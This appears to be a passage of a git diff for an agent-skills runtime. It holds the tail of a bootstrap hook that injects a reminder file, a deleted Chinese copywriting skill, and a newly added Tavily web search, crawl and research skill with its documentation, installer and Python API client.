def _is_record(value: object) -> bool:
|
||||
return isinstance(value, dict)
|
||||
|
||||
|
||||
def _is_injected_reminder_file(value: object) -> bool:
|
||||
if not _is_record(value) or str(value.get("path")) != REMINDER_PATH: # type: ignore[union-attr]
|
||||
return False
|
||||
v = value # type: ignore[assignment]
|
||||
return v.get("virtual") is True or v.get("content") == REMINDER_CONTENT
|
||||
|
||||
|
||||
def handle(event: object) -> None:
|
||||
if getattr(event, "type", None) != "agent" or getattr(event, "action", None) != "bootstrap":
|
||||
return
|
||||
ctx = getattr(event, "context", None)
|
||||
if not isinstance(ctx, dict):
|
||||
return
|
||||
session_key = str(getattr(event, "sessionKey", "") or "")
|
||||
if ":subagent:" in session_key:
|
||||
return
|
||||
|
||||
if not isinstance(ctx.get("bootstrapFiles"), list):
|
||||
return
|
||||
files: list[object] = list(ctx.get("bootstrapFiles") or [])
|
||||
|
||||
occupied = any(
|
||||
_is_record(f) and str(f.get("path")) == REMINDER_PATH and not _is_injected_reminder_file(f) # type: ignore[union-attr]
|
||||
for f in files
|
||||
)
|
||||
if occupied:
|
||||
return
|
||||
|
||||
cleaned: list[object] = [
|
||||
f
|
||||
for i, f in enumerate(files)
|
||||
if (not _is_injected_reminder_file(f))
|
||||
or (next((j for j, c in enumerate(files) if _is_injected_reminder_file(c)), -1) == i)
|
||||
]
|
||||
|
||||
reminder_file: dict[str, Any] = {
|
||||
"name": REMINDER_NAME,
|
||||
"path": REMINDER_PATH,
|
||||
"content": REMINDER_CONTENT,
|
||||
"missing": False,
|
||||
"virtual": True,
|
||||
}
|
||||
existing_idx = next((i for i, f in enumerate(cleaned) if _is_injected_reminder_file(f)), -1)
|
||||
if existing_idx == -1:
|
||||
cleaned.append(reminder_file)
|
||||
else:
|
||||
cleaned[existing_idx] = reminder_file
|
||||
ctx["bootstrapFiles"] = cleaned
|
||||
|
|
@ -1,31 +0,0 @@
|
|||
---
|
||||
name: social
|
||||
description: 对外沟通技能,负责可直接发布的中文文案与表达治理。
|
||||
user-invocable: true
|
||||
disable-model-invocation: false
|
||||
metadata:
|
||||
oclaw:
|
||||
role: specialist
|
||||
owner: workspace-social
|
||||
focus:
|
||||
- announcement
|
||||
- rewrite
|
||||
- audience_tone
|
||||
---
|
||||
|
||||
# Social Skill(对外沟通)
|
||||
|
||||
## 适用场景
|
||||
- 公告、邮件、更新说明、PR 描述、客服回复等对外文本。
|
||||
- 需要按受众调整语气和信息层级。
|
||||
- 需要把技术事实转成可读、可发布、可执行的表达。
|
||||
|
||||
## 工作方法
|
||||
1. 明确受众、渠道、目标动作。
|
||||
2. 抽取事实,剔除歧义和不可承诺内容。
|
||||
3. 生成可直接发布版本(必要时提供备选语气)。
|
||||
4. 检查敏感信息和承诺边界。
|
||||
|
||||
## 输出要求
|
||||
- 默认给:一句话版 + 标准版正文。
|
||||
- 术语统一,避免过度承诺。
|
||||
351
runtime/skills/tavily-search-pro/SKILL.md
Normal file
351
runtime/skills/tavily-search-pro/SKILL.md
Normal file
|
|
@ -0,0 +1,351 @@
|
|||
---
|
||||
name: tavily-search-pro
|
||||
slug: tavily-search-pro
|
||||
description: >
|
||||
Tavily AI search platform with 5 modes: Search (web/news/finance), Extract (URL content),
|
||||
Crawl (website crawling), Map (sitemap discovery), and Research (deep research with citations).
|
||||
Use for: web search with LLM answers, content extraction, site crawling, deep research.
|
||||
version: 1.0.0
|
||||
author: Leo 🦁
|
||||
tags: [search, tavily, web, news, finance, extract, crawl, research, api]
|
||||
metadata: {"clawdbot":{"emoji":"🔎","requires":{"env":["TAVILY_API_KEY"]},"primaryEnv":"TAVILY_API_KEY","install":[{"id":"pip","kind":"pip","package":"tavily-python","label":"Install dependencies (pip)"}]}}
|
||||
allowed-tools: [exec]
|
||||
---
|
||||
|
||||
# Tavily Search 🔎
|
||||
|
||||
AI-powered web search platform with 5 modes: Search, Extract, Crawl, Map, and Research.
|
||||
|
||||
## Requirements
|
||||
|
||||
- `TAVILY_API_KEY` environment variable
|
||||
|
||||
## Configuration
|
||||
|
||||
| Env Variable | Default | Description |
|
||||
|---|---|---|
|
||||
| `TAVILY_API_KEY` | — | **Required.** Tavily API key |
|
||||
|
||||
Set in OpenClaw config:
|
||||
```json
|
||||
{
|
||||
"env": {
|
||||
"TAVILY_API_KEY": "tvly-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Script Location
|
||||
|
||||
```bash
|
||||
python3 skills/tavily/lib/tavily_search.py <command> "query" [options]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Commands
|
||||
|
||||
### search — Web Search (Default)
|
||||
|
||||
General-purpose web search with optional LLM-synthesized answer.
|
||||
|
||||
```bash
|
||||
python3 lib/tavily_search.py search "query" [options]
|
||||
```
|
||||
|
||||
**Examples:**
|
||||
```bash
|
||||
# Basic search
|
||||
python3 lib/tavily_search.py search "latest AI news"
|
||||
|
||||
# With LLM answer
|
||||
python3 lib/tavily_search.py search "what is quantum computing" --answer
|
||||
|
||||
# Advanced depth (better results, 2 credits)
|
||||
python3 lib/tavily_search.py search "climate change solutions" --depth advanced
|
||||
|
||||
# Time-filtered
|
||||
python3 lib/tavily_search.py search "OpenAI announcements" --time week
|
||||
|
||||
# Domain filtering
|
||||
python3 lib/tavily_search.py search "machine learning" --include-domains arxiv.org,nature.com
|
||||
|
||||
# Country boost
|
||||
python3 lib/tavily_search.py search "tech startups" --country US
|
||||
|
||||
# With raw content and images
|
||||
python3 lib/tavily_search.py search "solar energy" --raw --images -n 10
|
||||
|
||||
# JSON output
|
||||
python3 lib/tavily_search.py search "bitcoin price" --json
|
||||
```
|
||||
|
||||
**Output format (text):**
|
||||
```
|
||||
Answer: <LLM-synthesized answer if --answer>
|
||||
|
||||
Results:
|
||||
1. Result Title
|
||||
https://example.com/article
|
||||
Content snippet from the page...
|
||||
|
||||
2. Another Result
|
||||
https://example.com/other
|
||||
Another snippet...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### news — News Search
|
||||
|
||||
Search optimized for news articles. Sets `topic=news`.
|
||||
|
||||
```bash
|
||||
python3 lib/tavily_search.py news "query" [options]
|
||||
```
|
||||
|
||||
**Examples:**
|
||||
```bash
|
||||
python3 lib/tavily_search.py news "AI regulation"
|
||||
python3 lib/tavily_search.py news "Israel tech" --time day --answer
|
||||
python3 lib/tavily_search.py news "stock market" --time week -n 10
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### finance — Finance Search
|
||||
|
||||
Search optimized for financial data and news. Sets `topic=finance`.
|
||||
|
||||
```bash
|
||||
python3 lib/tavily_search.py finance "query" [options]
|
||||
```
|
||||
|
||||
**Examples:**
|
||||
```bash
|
||||
python3 lib/tavily_search.py finance "NVIDIA stock analysis"
|
||||
python3 lib/tavily_search.py finance "cryptocurrency market trends" --time month
|
||||
python3 lib/tavily_search.py finance "S&P 500 forecast 2026" --answer
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### extract — Extract Content from URLs
|
||||
|
||||
Extract readable content from one or more URLs.
|
||||
|
||||
```bash
|
||||
python3 lib/tavily_search.py extract URL [URL...] [options]
|
||||
```
|
||||
|
||||
**Parameters:**
|
||||
- `urls`: One or more URLs to extract (positional args)
|
||||
- `--depth basic|advanced`: Extraction depth
|
||||
- `--format markdown|text`: Output format (default: markdown)
|
||||
- `--query "text"`: Rerank extracted chunks by relevance to query
|
||||
|
||||
**Examples:**
|
||||
```bash
|
||||
# Extract single URL
|
||||
python3 lib/tavily_search.py extract "https://example.com/article"
|
||||
|
||||
# Extract multiple URLs
|
||||
python3 lib/tavily_search.py extract "https://url1.com" "https://url2.com"
|
||||
|
||||
# Advanced extraction with relevance reranking
|
||||
python3 lib/tavily_search.py extract "https://arxiv.org/paper" --depth advanced --query "transformer architecture"
|
||||
|
||||
# Text format output
|
||||
python3 lib/tavily_search.py extract "https://example.com" --format text
|
||||
```
|
||||
|
||||
**Output format:**
|
||||
```
|
||||
URL: https://example.com/article
|
||||
─────────────────────────────────
|
||||
<Extracted content in markdown/text>
|
||||
|
||||
URL: https://another.com/page
|
||||
─────────────────────────────────
|
||||
<Extracted content>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### crawl — Crawl a Website
|
||||
|
||||
Crawl a website starting from a root URL, following links.
|
||||
|
||||
```bash
|
||||
python3 lib/tavily_search.py crawl URL [options]
|
||||
```
|
||||
|
||||
**Parameters:**
|
||||
- `url`: Root URL to start crawling
|
||||
- `--depth basic|advanced`: Crawl depth
|
||||
- `--max-depth N`: Maximum link depth to follow (default: 2)
|
||||
- `--max-breadth N`: Maximum pages per depth level (default: 10)
|
||||
- `--limit N`: Maximum total pages (default: 10)
|
||||
- `--instructions "text"`: Natural language crawl instructions
|
||||
- `--select-paths p1,p2`: Only crawl these path patterns
|
||||
- `--exclude-paths p1,p2`: Skip these path patterns
|
||||
- `--format markdown|text`: Output format
|
||||
|
||||
**Examples:**
|
||||
```bash
|
||||
# Basic crawl
|
||||
python3 lib/tavily_search.py crawl "https://docs.example.com"
|
||||
|
||||
# Focused crawl with instructions
|
||||
python3 lib/tavily_search.py crawl "https://docs.python.org" --instructions "Find all asyncio documentation" --limit 20
|
||||
|
||||
# Crawl specific paths only
|
||||
python3 lib/tavily_search.py crawl "https://example.com" --select-paths "/blog,/docs" --max-depth 3
|
||||
```
|
||||
|
||||
**Output format:**
|
||||
```
|
||||
Crawled 5 pages from https://docs.example.com
|
||||
|
||||
Page 1: https://docs.example.com/intro
|
||||
─────────────────────────────────
|
||||
<Content>
|
||||
|
||||
Page 2: https://docs.example.com/guide
|
||||
─────────────────────────────────
|
||||
<Content>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### map — Sitemap Discovery
|
||||
|
||||
Discover all URLs on a website (sitemap).
|
||||
|
||||
```bash
|
||||
python3 lib/tavily_search.py map URL [options]
|
||||
```
|
||||
|
||||
**Parameters:**
|
||||
- `url`: Root URL to map
|
||||
- `--max-depth N`: Depth to follow (default: 2)
|
||||
- `--max-breadth N`: Breadth per level (default: 20)
|
||||
- `--limit N`: Maximum URLs (default: 50)
|
||||
|
||||
**Examples:**
|
||||
```bash
|
||||
# Map a site
|
||||
python3 lib/tavily_search.py map "https://example.com"
|
||||
|
||||
# Deep map
|
||||
python3 lib/tavily_search.py map "https://docs.python.org" --max-depth 3 --limit 100
|
||||
```
|
||||
|
||||
**Output format:**
|
||||
```
|
||||
Sitemap for https://example.com (42 URLs found):
|
||||
|
||||
1. https://example.com/
|
||||
2. https://example.com/about
|
||||
3. https://example.com/blog
|
||||
...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### research — Deep Research
|
||||
|
||||
Comprehensive AI-powered research on a topic with citations.
|
||||
|
||||
```bash
|
||||
python3 lib/tavily_search.py research "query" [options]
|
||||
```
|
||||
|
||||
**Parameters:**
|
||||
- `query`: Research question
|
||||
- `--model mini|pro|auto`: Research model (default: auto)
|
||||
- `mini`: Faster, cheaper
|
||||
- `pro`: More thorough
|
||||
- `auto`: Let Tavily decide
|
||||
- `--json`: JSON output (supports structured output schema)
|
||||
|
||||
**Examples:**
|
||||
```bash
|
||||
# Basic research
|
||||
python3 lib/tavily_search.py research "Impact of AI on healthcare in 2026"
|
||||
|
||||
# Pro model for thorough research
|
||||
python3 lib/tavily_search.py research "Comparison of quantum computing approaches" --model pro
|
||||
|
||||
# JSON output
|
||||
python3 lib/tavily_search.py research "Electric vehicle market analysis" --json
|
||||
```
|
||||
|
||||
**Output format:**
|
||||
```
|
||||
Research: Impact of AI on healthcare in 2026
|
||||
|
||||
<Comprehensive research report with citations>
|
||||
|
||||
Sources:
|
||||
[1] https://source1.com
|
||||
[2] https://source2.com
|
||||
...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Options Reference
|
||||
|
||||
| Option | Applies To | Description | Default |
|
||||
|---|---|---|---|
|
||||
| `--depth basic\|advanced` | search, news, finance, extract | Search/extraction depth | basic |
|
||||
| `--time day\|week\|month\|year` | search, news, finance | Time range filter | none |
|
||||
| `-n NUM` | search, news, finance | Max results (0-20) | 5 |
|
||||
| `--answer` | search, news, finance | Include LLM answer | off |
|
||||
| `--raw` | search, news, finance | Include raw page content | off |
|
||||
| `--images` | search, news, finance | Include image URLs | off |
|
||||
| `--include-domains d1,d2` | search, news, finance | Only these domains | none |
|
||||
| `--exclude-domains d1,d2` | search, news, finance | Exclude these domains | none |
|
||||
| `--country XX` | search, news, finance | Boost country results | none |
|
||||
| `--json` | all | Structured JSON output | off |
|
||||
| `--format markdown\|text` | extract, crawl | Content format | markdown |
|
||||
| `--query "text"` | extract | Relevance reranking query | none |
|
||||
| `--model mini\|pro\|auto` | research | Research model | auto |
|
||||
| `--max-depth N` | crawl, map | Max link depth | 2 |
|
||||
| `--max-breadth N` | crawl, map | Max pages per level | 10/20 |
|
||||
| `--limit N` | crawl, map | Max total pages/URLs | 10/50 |
|
||||
| `--instructions "text"` | crawl | Natural language instructions | none |
|
||||
| `--select-paths p1,p2` | crawl | Include path patterns | none |
|
||||
| `--exclude-paths p1,p2` | crawl | Exclude path patterns | none |
|
||||
|
||||
---
|
||||
|
||||
## Error Handling
|
||||
|
||||
- **Missing API key:** Clear error message with setup instructions.
|
||||
- **401 Unauthorized:** Invalid API key.
|
||||
- **429 Rate Limit:** Rate limit exceeded, try again later.
|
||||
- **Network errors:** Descriptive error with cause.
|
||||
- **No results:** Clean "No results found." message.
|
||||
- **Timeout:** 30-second timeout on all HTTP requests.
|
||||
|
||||
---
|
||||
|
||||
## Credits & Pricing
|
||||
|
||||
| API | Basic | Advanced |
|
||||
|---|---|---|
|
||||
| Search | 1 credit | 2 credits |
|
||||
| Extract | 1 credit/URL | 2 credits/URL |
|
||||
| Crawl | 1 credit/page | 2 credits/page |
|
||||
| Map | 1 credit | 1 credit |
|
||||
| Research | Varies by model | - |
|
||||
|
||||
---
|
||||
|
||||
## Install
|
||||
|
||||
```bash
|
||||
bash skills/tavily/install.sh
|
||||
```
|
||||
11
runtime/skills/tavily-search-pro/_meta.json
Normal file
11
runtime/skills/tavily-search-pro/_meta.json
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
{
|
||||
"owner": "shaharsha",
|
||||
"slug": "tavily-search-pro",
|
||||
"displayName": "Tavily Search Pro",
|
||||
"latest": {
|
||||
"version": "1.0.0",
|
||||
"publishedAt": 1770481308912,
|
||||
"commit": "https://github.com/openclaw/skills/commit/7c907638c02746d4cdc5504cbe2816f52f6107ae"
|
||||
},
|
||||
"history": []
|
||||
}
|
||||
30
runtime/skills/tavily-search-pro/install.sh
Normal file
30
runtime/skills/tavily-search-pro/install.sh
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
#!/usr/bin/env bash
|
||||
# Tavily Search skill installer
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
echo "📦 Installing Tavily Search skill..."
|
||||
|
||||
# Install Python dependencies
|
||||
pip install --break-system-packages --quiet tavily-python 2>/dev/null || {
|
||||
echo "⚠️ pip install failed, trying without --break-system-packages..."
|
||||
pip install --quiet tavily-python 2>/dev/null || {
|
||||
echo "❌ Failed to install tavily-python. Install manually: pip install tavily-python"
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
|
||||
# Verify API key
|
||||
if [ -z "${TAVILY_API_KEY:-}" ]; then
|
||||
echo "⚠️ TAVILY_API_KEY not set. Set it in OpenClaw config before using."
|
||||
else
|
||||
echo "✅ TAVILY_API_KEY found"
|
||||
fi
|
||||
|
||||
# Quick smoke test
|
||||
if python3 "$SCRIPT_DIR/lib/tavily_search.py" --help >/dev/null 2>&1; then
|
||||
echo "✅ Tavily Search skill ready."
|
||||
else
|
||||
echo "⚠️ Smoke test failed - check Python dependencies."
|
||||
exit 1
|
||||
fi
|
||||
549
runtime/skills/tavily-search-pro/lib/tavily_search.py
Normal file
549
runtime/skills/tavily-search-pro/lib/tavily_search.py
Normal file
|
|
@ -0,0 +1,549 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Tavily Search v1.0 - AI-powered web search platform with 5 modes.
|
||||
Author: Leo 🦁
|
||||
Created: 2026-02-07
|
||||
|
||||
Commands:
|
||||
- search: General web search with optional LLM answer
|
||||
- news: News-optimized search (topic=news)
|
||||
- finance: Finance-optimized search (topic=finance)
|
||||
- extract: Extract content from URLs
|
||||
- crawl: Crawl a website
|
||||
- map: Discover sitemap URLs
|
||||
- research: Deep AI research with citations
|
||||
|
||||
Environment Variables:
|
||||
- TAVILY_API_KEY: Required. Tavily API key.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from typing import Any, Optional
|
||||
|
||||
# ─── Configuration ───────────────────────────────────────────────────────────
|
||||
|
||||
API_KEY: str = os.environ.get("TAVILY_API_KEY", "")
|
||||
BASE_URL: str = "https://api.tavily.com"
|
||||
REQUEST_TIMEOUT: int = 30
|
||||
RESEARCH_TIMEOUT: int = 120 # Research can take longer
|
||||
|
||||
|
||||
# ─── HTTP Helper ─────────────────────────────────────────────────────────────
|
||||
|
||||
def _api_request(
|
||||
endpoint: str,
|
||||
payload: dict[str, Any],
|
||||
timeout: int = REQUEST_TIMEOUT,
|
||||
) -> dict[str, Any]:
|
||||
"""
|
||||
Make a POST request to the Tavily API.
|
||||
|
||||
Args:
|
||||
endpoint: API endpoint path (e.g., '/search').
|
||||
payload: JSON request body.
|
||||
timeout: Request timeout in seconds.
|
||||
|
||||
Returns:
|
||||
Parsed JSON response.
|
||||
|
||||
Raises:
|
||||
SystemExit: On API errors with descriptive messages.
|
||||
"""
|
||||
url = f"{BASE_URL}{endpoint}"
|
||||
data = json.dumps(payload).encode("utf-8")
|
||||
req = urllib.request.Request(
|
||||
url,
|
||||
data=data,
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {API_KEY}",
|
||||
},
|
||||
method="POST",
|
||||
)
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return json.loads(resp.read())
|
||||
except urllib.error.HTTPError as e:
|
||||
body = e.read().decode("utf-8", errors="replace")[:500]
|
||||
if e.code == 401:
|
||||
print("Error: Invalid TAVILY_API_KEY. Check your key at https://app.tavily.com", file=sys.stderr)
|
||||
elif e.code == 429:
|
||||
print("Error: Rate limit exceeded. Try again later.", file=sys.stderr)
|
||||
elif e.code == 400:
|
||||
# Try to extract error message from JSON response
|
||||
try:
|
||||
err_data = json.loads(body)
|
||||
msg = err_data.get("detail", err_data.get("message", body))
|
||||
print(f"Error: Bad request - {msg}", file=sys.stderr)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
print(f"Error: Bad request - {body}", file=sys.stderr)
|
||||
else:
|
||||
print(f"Error: Tavily API returned {e.code}: {body}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
except urllib.error.URLError as e:
|
||||
print(f"Error: Network error - {e.reason}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
except TimeoutError:
|
||||
print(f"Error: Request timed out after {timeout}s", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
# ─── Output Formatting ──────────────────────────────────────────────────────
|
||||
|
||||
def _format_search_results(data: dict[str, Any], as_json: bool = False) -> str:
|
||||
"""Format search/news/finance results for display."""
|
||||
if as_json:
|
||||
return json.dumps(data, ensure_ascii=False, indent=2)
|
||||
|
||||
lines: list[str] = []
|
||||
|
||||
# LLM answer
|
||||
answer = data.get("answer")
|
||||
if answer:
|
||||
lines.append(f"Answer: {answer}")
|
||||
lines.append("")
|
||||
|
||||
# Images
|
||||
images = data.get("images")
|
||||
if images:
|
||||
lines.append("Images:")
|
||||
for img in images:
|
||||
if isinstance(img, dict):
|
||||
lines.append(f" - {img.get('url', img)}")
|
||||
else:
|
||||
lines.append(f" - {img}")
|
||||
lines.append("")
|
||||
|
||||
# Results
|
||||
results = data.get("results", [])
|
||||
if results:
|
||||
lines.append("Results:")
|
||||
for i, r in enumerate(results, 1):
|
||||
title = r.get("title", "Untitled")
|
||||
url = r.get("url", "")
|
||||
content = r.get("content", "")
|
||||
score = r.get("score")
|
||||
published = r.get("published_date", "")
|
||||
|
||||
lines.append(f" {i}. {title}")
|
||||
lines.append(f" {url}")
|
||||
if published:
|
||||
lines.append(f" Published: {published}")
|
||||
if score is not None:
|
||||
lines.append(f" Score: {score:.4f}")
|
||||
if content:
|
||||
# Truncate long content to keep output readable
|
||||
snippet = content[:500].strip()
|
||||
if len(content) > 500:
|
||||
snippet += "..."
|
||||
lines.append(f" {snippet}")
|
||||
|
||||
# Raw content (if requested)
|
||||
raw = r.get("raw_content")
|
||||
if raw:
|
||||
lines.append(f" --- Raw Content ---")
|
||||
raw_snippet = raw[:1000].strip()
|
||||
if len(raw) > 1000:
|
||||
raw_snippet += f"... [{len(raw)} chars total]"
|
||||
lines.append(f" {raw_snippet}")
|
||||
|
||||
lines.append("")
|
||||
elif not answer:
|
||||
lines.append("No results found.")
|
||||
|
||||
return "\n".join(lines).rstrip()
|
||||
|
||||
|
||||
def _format_extract_results(data: dict[str, Any], as_json: bool = False) -> str:
|
||||
"""Format extract results for display."""
|
||||
if as_json:
|
||||
return json.dumps(data, ensure_ascii=False, indent=2)
|
||||
|
||||
lines: list[str] = []
|
||||
results = data.get("results", [])
|
||||
|
||||
if not results:
|
||||
return "No content extracted."
|
||||
|
||||
for r in results:
|
||||
url = r.get("url", "Unknown URL")
|
||||
content = r.get("raw_content", "")
|
||||
lines.append(f"URL: {url}")
|
||||
lines.append("─" * 50)
|
||||
if content:
|
||||
lines.append(content.strip())
|
||||
else:
|
||||
lines.append("(No content extracted)")
|
||||
lines.append("")
|
||||
|
||||
# Failed URLs
|
||||
failed = data.get("failed_results", [])
|
||||
if failed:
|
||||
lines.append("Failed URLs:")
|
||||
for f in failed:
|
||||
url = f.get("url", "Unknown")
|
||||
error = f.get("error", "Unknown error")
|
||||
lines.append(f" ✗ {url}: {error}")
|
||||
|
||||
return "\n".join(lines).rstrip()
|
||||
|
||||
|
||||
def _format_crawl_results(data: dict[str, Any], as_json: bool = False) -> str:
|
||||
"""Format crawl results for display."""
|
||||
if as_json:
|
||||
return json.dumps(data, ensure_ascii=False, indent=2)
|
||||
|
||||
lines: list[str] = []
|
||||
results = data.get("results", [])
|
||||
base_url = data.get("base_url", "")
|
||||
|
||||
lines.append(f"Crawled {len(results)} pages from {base_url}")
|
||||
lines.append("")
|
||||
|
||||
for i, r in enumerate(results, 1):
|
||||
url = r.get("url", "Unknown URL")
|
||||
content = r.get("raw_content", "")
|
||||
lines.append(f"Page {i}: {url}")
|
||||
lines.append("─" * 50)
|
||||
if content:
|
||||
# Truncate very long pages
|
||||
snippet = content[:2000].strip()
|
||||
if len(content) > 2000:
|
||||
snippet += f"\n... [{len(content)} chars total]"
|
||||
lines.append(snippet)
|
||||
else:
|
||||
lines.append("(No content)")
|
||||
lines.append("")
|
||||
|
||||
# Failed
|
||||
failed = data.get("failed_results", [])
|
||||
if failed:
|
||||
lines.append("Failed URLs:")
|
||||
for f in failed:
|
||||
url = f.get("url", "Unknown")
|
||||
error = f.get("error", "Unknown error")
|
||||
lines.append(f" ✗ {url}: {error}")
|
||||
|
||||
return "\n".join(lines).rstrip()
|
||||
|
||||
|
||||
def _format_map_results(data: dict[str, Any], url: str, as_json: bool = False) -> str:
|
||||
"""Format map/sitemap results for display."""
|
||||
if as_json:
|
||||
return json.dumps(data, ensure_ascii=False, indent=2)
|
||||
|
||||
urls = data.get("results", [])
|
||||
lines: list[str] = []
|
||||
lines.append(f"Sitemap for {url} ({len(urls)} URLs found):")
|
||||
lines.append("")
|
||||
|
||||
for i, u in enumerate(urls, 1):
|
||||
if isinstance(u, dict):
|
||||
lines.append(f" {i}. {u.get('url', u)}")
|
||||
else:
|
||||
lines.append(f" {i}. {u}")
|
||||
|
||||
if not urls:
|
||||
lines.append(" No URLs discovered.")
|
||||
|
||||
return "\n".join(lines).rstrip()
|
||||
|
||||
|
||||
def _format_research_results(data: dict[str, Any], as_json: bool = False) -> str:
|
||||
"""Format research results for display."""
|
||||
if as_json:
|
||||
return json.dumps(data, ensure_ascii=False, indent=2)
|
||||
|
||||
lines: list[str] = []
|
||||
|
||||
# Topic
|
||||
topic = data.get("topic") or data.get("query", "")
|
||||
if topic:
|
||||
lines.append(f"Research: {topic}")
|
||||
lines.append("")
|
||||
|
||||
# Main content
|
||||
content = data.get("content") or data.get("output") or data.get("report", "")
|
||||
if content:
|
||||
lines.append(content.strip())
|
||||
else:
|
||||
lines.append("No research output returned.")
|
||||
|
||||
# Sources
|
||||
sources = data.get("sources", [])
|
||||
if sources:
|
||||
lines.append("")
|
||||
lines.append("Sources:")
|
||||
for i, src in enumerate(sources, 1):
|
||||
if isinstance(src, dict):
|
||||
url = src.get("url", src.get("link", str(src)))
|
||||
title = src.get("title", "")
|
||||
if title:
|
||||
lines.append(f" [{i}] {title}")
|
||||
lines.append(f" {url}")
|
||||
else:
|
||||
lines.append(f" [{i}] {url}")
|
||||
else:
|
||||
lines.append(f" [{i}] {src}")
|
||||
|
||||
return "\n".join(lines).rstrip()
|
||||
|
||||
|
||||
# ─── Commands ────────────────────────────────────────────────────────────────
|
||||
|
||||
def cmd_search(args: argparse.Namespace) -> str:
|
||||
"""Execute search/news/finance command."""
|
||||
topic_map = {
|
||||
"search": "general",
|
||||
"news": "news",
|
||||
"finance": "finance",
|
||||
}
|
||||
|
||||
payload: dict[str, Any] = {
|
||||
"query": args.query,
|
||||
"topic": topic_map.get(args.command, "general"),
|
||||
"search_depth": args.depth,
|
||||
"max_results": args.n,
|
||||
}
|
||||
|
||||
if args.answer:
|
||||
payload["include_answer"] = True
|
||||
if args.raw:
|
||||
payload["include_raw_content"] = "markdown"
|
||||
if args.images:
|
||||
payload["include_images"] = True
|
||||
if args.time:
|
||||
payload["time_range"] = args.time
|
||||
if args.include_domains:
|
||||
payload["include_domains"] = [d.strip() for d in args.include_domains.split(",")]
|
||||
if args.exclude_domains:
|
||||
payload["exclude_domains"] = [d.strip() for d in args.exclude_domains.split(",")]
|
||||
if args.country:
|
||||
payload["country"] = args.country
|
||||
|
||||
data = _api_request("/search", payload)
|
||||
return _format_search_results(data, as_json=args.as_json)
|
||||
|
||||
|
||||
def cmd_extract(args: argparse.Namespace) -> str:
|
||||
"""Execute extract command."""
|
||||
urls = args.urls
|
||||
if not urls:
|
||||
print("Error: At least one URL is required for extract.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
payload: dict[str, Any] = {
|
||||
"urls": urls if len(urls) > 1 else urls[0],
|
||||
}
|
||||
|
||||
if args.depth and args.depth != "basic":
|
||||
payload["extract_depth"] = args.depth
|
||||
if hasattr(args, "format_type") and args.format_type:
|
||||
payload["format"] = args.format_type
|
||||
if hasattr(args, "query") and args.query:
|
||||
payload["query"] = args.query
|
||||
|
||||
data = _api_request("/extract", payload)
|
||||
return _format_extract_results(data, as_json=args.as_json)
|
||||
|
||||
|
||||
def cmd_crawl(args: argparse.Namespace) -> str:
|
||||
"""Execute crawl command."""
|
||||
payload: dict[str, Any] = {
|
||||
"url": args.url,
|
||||
}
|
||||
|
||||
if args.max_depth is not None:
|
||||
payload["max_depth"] = args.max_depth
|
||||
if args.max_breadth is not None:
|
||||
payload["max_breadth"] = args.max_breadth
|
||||
if args.limit is not None:
|
||||
payload["limit"] = args.limit
|
||||
if hasattr(args, "instructions") and args.instructions:
|
||||
payload["instructions"] = args.instructions
|
||||
if hasattr(args, "select_paths") and args.select_paths:
|
||||
payload["select_paths"] = [p.strip() for p in args.select_paths.split(",")]
|
||||
if hasattr(args, "exclude_paths") and args.exclude_paths:
|
||||
payload["exclude_paths"] = [p.strip() for p in args.exclude_paths.split(",")]
|
||||
if hasattr(args, "format_type") and args.format_type:
|
||||
payload["format"] = args.format_type
|
||||
|
||||
data = _api_request("/crawl", payload, timeout=60)
|
||||
return _format_crawl_results(data, as_json=args.as_json)
|
||||
|
||||
|
||||
def cmd_map(args: argparse.Namespace) -> str:
|
||||
"""Execute map/sitemap command."""
|
||||
payload: dict[str, Any] = {
|
||||
"url": args.url,
|
||||
}
|
||||
|
||||
if args.max_depth is not None:
|
||||
payload["max_depth"] = args.max_depth
|
||||
if args.max_breadth is not None:
|
||||
payload["max_breadth"] = args.max_breadth
|
||||
if args.limit is not None:
|
||||
payload["limit"] = args.limit
|
||||
|
||||
data = _api_request("/map", payload)
|
||||
return _format_map_results(data, args.url, as_json=args.as_json)
|
||||
|
||||
|
||||
def cmd_research(args: argparse.Namespace) -> str:
|
||||
"""Execute research command."""
|
||||
payload: dict[str, Any] = {
|
||||
"input": args.query,
|
||||
}
|
||||
|
||||
if args.model:
|
||||
payload["model"] = args.model
|
||||
|
||||
data = _api_request("/research", payload, timeout=RESEARCH_TIMEOUT)
|
||||
return _format_research_results(data, as_json=args.as_json)
|
||||
|
||||
|
||||
# ─── CLI ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
def build_parser() -> argparse.ArgumentParser:
|
||||
"""Build the argument parser with all subcommands."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Tavily Search v1.0 - AI-powered web search platform",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
%(prog)s search "latest AI news" --answer
|
||||
%(prog)s news "tech industry" --time week
|
||||
%(prog)s finance "NVIDIA stock" --depth advanced
|
||||
%(prog)s extract "https://example.com/article"
|
||||
%(prog)s crawl "https://docs.example.com" --limit 20
|
||||
%(prog)s map "https://example.com"
|
||||
%(prog)s research "Impact of AI on healthcare"
